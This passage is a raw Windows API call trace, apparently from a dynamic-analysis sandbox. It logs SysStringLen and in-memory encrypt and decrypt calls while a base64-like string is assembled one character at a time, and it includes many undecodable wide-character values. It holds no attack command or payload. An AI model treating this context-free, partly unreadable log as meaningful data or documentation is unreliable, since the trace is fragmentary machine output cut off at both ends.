Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.567] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQ킓") returned 0x18 [0130.567] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.567] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\xad5\x8d10\x2b92\x24c8\x2e91\x54ed\x3d68\xe2e3") returned 0x18 [0130.567] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\xad5\x8d10\x2b92\x24c8\x2e91\x54ed\x3d68\xe2e3") returned 0x18 [0130.567] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.567] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQg킓") returned 0x18 [0130.567] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.567] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x676f\xad85\x4edf\x823\x5a81\x4665\xacea\x20cd") returned 0x18 [0130.567] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x676f\xad85\x4edf\x823\x5a81\x4665\xacea\x20cd") returned 0x18 [0130.567] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.568] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgV") returned 0x18 [0130.568] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.569] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de") returned 0x18 [0130.569] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de") returned 0x18 [0130.569] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de") returned 0x18 [0130.569] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de") returned 0x20 [0130.569] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.569] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK䞨㖆쀡吁ퟘ㈍") returned 0x20 [0130.569] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.569] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x2975\x72a0\x8ef8\xee76\xd7b1\x1b22\x26f3\xece2") returned 0x20 [0130.569] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x2975\x72a0\x8ef8\xee76\xd7b1\x1b22\x26f3\xece2") returned 0x20 [0130.569] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.569] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4䞨㖆쀡吁ퟘ㈍") returned 0x20 [0130.569] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.569] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x1f96\x956e\x15a1\xb54e\x166e\x503b\xadd9\x9cea") returned 0x20 [0130.569] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x1f96\x956e\x15a1\xb54e\x166e\x503b\xadd9\x9cea") returned 0x20 [0130.569] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.570] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4p㖆쀡吁ퟘ㈍") returned 0x20 [0130.570] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.570] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x4216\xb5a7\x1c04\x7dc2\xf369\xc6f5\x426a\xc20d") returned 0x20 [0130.570] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x4216\xb5a7\x1c04\x7dc2\xf369\xc6f5\x426a\xc20d") returned 0x20 [0130.570] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.570] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4py쀡吁ퟘ㈍") returned 0x20 [0130.570] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.570] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x8d7c\xf90a\xaf2e\xcc18\xc3fe\x2d66\xe243\x1b92") returned 0x20 [0130.570] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x8d7c\xf90a\xaf2e\xcc18\xc3fe\x2d66\xe243\x1b92") returned 0x20 [0130.570] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.570] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyA吁ퟘ㈍") returned 0x20 [0130.570] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.570] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x7e4e\x72c0\xa2a5\x1347\x216b\xb6c8\x9b5f\x9430") returned 0x20 [0130.570] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x7e4e\x72c0\xa2a5\x1347\x216b\xb6c8\x9b5f\x9430") returned 0x20 [0130.570] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.570] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwퟘ㈍") returned 0x20 [0130.571] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.571] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x56c1\xc921\x98a5\xe894\xbed0\x6eb4\xd99f\x4976") returned 0x20 [0130.571] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x56c1\xc921\x98a5\xe894\xbed0\x6eb4\xd99f\x4976") returned 0x20 [0130.571] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.571] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwp㈍") returned 0x20 [0130.571] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.571] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x7fa3\x91dc\x6ad9\x8e88\xc097\x3536\xe4b4\xb44b") returned 0x20 [0130.571] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x7fa3\x91dc\x6ad9\x8e88\xc097\x3536\xe4b4\xb44b") returned 0x20 [0130.571] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.571] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpD") returned 0x20 [0130.571] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.571] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e") returned 0x20 [0130.571] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e") returned 0x20 [0130.571] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e") returned 0x20 [0130.571] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x5a\x69\x72\x59\x74\x30\x58\x74") returned 0x28 [0130.571] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.572] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDl옭就牱潃왇㖼뺵") returned 0x28 [0130.572] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.572] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\xc9a7\x1666\x6d18\x8ac\x5b04\x48c2\x7e3\x8b24") returned 0x28 [0130.572] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\xc9a7\x1666\x6d18\x8ac\x5b04\x48c2\x7e3\x8b24") returned 0x28 [0130.572] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.572] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlW就牱潃왇㖼뺵") returned 0x28 [0130.572] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.572] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x805d\x685d\x4917\x7fd8\x397b\x82a6\x9d0b\x8840") returned 0x28 [0130.572] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x805d\x685d\x4917\x7fd8\x397b\x82a6\x9d0b\x8840") returned 0x28 [0130.572] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.572] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlWC牱潃왇㖼뺵") returned 0x28 [0130.572] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.572] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\xaacf\x14e3\x4b3d\x1eb6\x1058\x9eeb\x14d5\x2116") returned 0x28 [0130.572] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\xaacf\x14e3\x4b3d\x1eb6\x1058\x9eeb\x14d5\x2116") returned 0x28 [0130.572] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.572] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlWCq潃왇㖼뺵") returned 0x28 [0130.573] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.573] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x9330\x2b74\x127b\x8c81\x69cb\x62be\x23ea\xe010") returned 0x28 [0130.573] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x9330\x2b74\x127b\x8c81\x69cb\x62be\x23ea\xe010") returned 0x28 [0130.573] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.573] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlWCqV왇㖼뺵") returned 0x28 [0130.573] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.573] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4c09\x9edf\x8916\xc1c2\x5ce7\xdb26\xefa8\x5ecc") returned 0x28 [0130.573] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4c09\x9edf\x8916\xc1c2\x5ce7\xdb26\xefa8\x5ecc") returned 0x28 [0130.573] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.573] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlWCqVZ㖼뺵") returned 0x28 [0130.573] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.573] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\xcb5\x9df2\x4ee6\x46c4\x67f9\x382a\x25ef\x78f1") returned 0x28 [0130.573] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\xcb5\x9df2\x4ee6\x46c4\x67f9\x382a\x25ef\x78f1") returned 0x28 [0130.573] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.573] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlWCqVZs뺵") returned 0x28 [0130.573] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.574] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x7ee8\x2ea3\x1696\x6070\xe3db\x3f55\x7b15\x4c70") returned 0x28 [0130.574] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x7ee8\x2ea3\x1696\x6070\xe3db\x3f55\x7b15\x4c70") returned 0x28 [0130.574] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.574] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlWCqVZsq") returned 0x28 [0130.574] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.574] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4165\x15b8\x4126\x7b10\x5ac0\xd189\x7b4d\x5662") returned 0x28 [0130.574] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4165\x15b8\x4126\x7b10\x5ac0\xd189\x7b4d\x5662") returned 0x28 [0130.574] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4165\x15b8\x4126\x7b10\x5ac0\xd189\x7b4d\x5662") returned 0x28 [0130.574] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4165\x15b8\x4126\x7b10\x5ac0\xd189\x7b4d\x5662\x4a\x2e\x6d\x70\x33\x2e\x6c\x6f") returned 0x30 [0130.574] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0130.574] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlWCqVZsqy彿鮱껾ﾾஷ엜碘") returned 0x30 [0130.574] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0130.574] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4165\x15b8\x4126\x7b10\x5ac0\xd189\x7b4d\x5662\xe475\x8a20\xa504\xd241\x3f8c\xbd92\x80da\x2537") returned 0x30 [0130.574] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4165\x15b8\x4126\x7b10\x5ac0\xd189\x7b4d\x5662\xe475\x8a20\xa504\xd241\x3f8c\xbd92\x80da\x2537") returned 0x30 [0130.574] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0130.574] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlWCqVZsqyf鮱껾ﾾஷ엜碘") returned 0x30 [0130.574] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0130.575] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4165\x15b8\x4126\x7b10\x5ac0\xd189\x7b4d\x5662\x5946\x8c23\x1f11\xc1ca\xb9f8\x3319\x65c9\xbfc6") returned 0x30 [0130.575] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4165\x15b8\x4126\x7b10\x5ac0\xd189\x7b4d\x5662\x5946\x8c23\x1f11\xc1ca\xb9f8\x3319\x65c9\xbfc6") returned 0x30 [0130.575] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0130.575] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlWCqVZsqyfI껾ﾾஷ엜碘") returned 0x30 [0130.575] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0130.575] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4165\x15b8\x4126\x7b10\x5ac0\xd189\x7b4d\x5662\xa8a\xe4a7\x63e9\x8968\x942c\x1da6\xb0a7\x86fb") returned 0x30 [0130.575] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x5476\xe2ea\x34e0\x3480\x4e1\x4094\x9223\x2de\x67cb\xdc11\x9586\x8e9d\xe3d4\xbf85\x3db4\x2f0e\x4165\x15b8\x4126\x7b10\x5ac0\xd189\x7b4d\x5662\xa8a\xe4a7\x63e9\x8968\x942c\x1da6\xb0a7\x86fb") returned 0x30 [0130.575] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0130.575] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/lQgVK4pyAwpDlWCqVZsqyfI=ﾾஷ엜碘") returned 0x30 [0130.575] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0130.575] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: 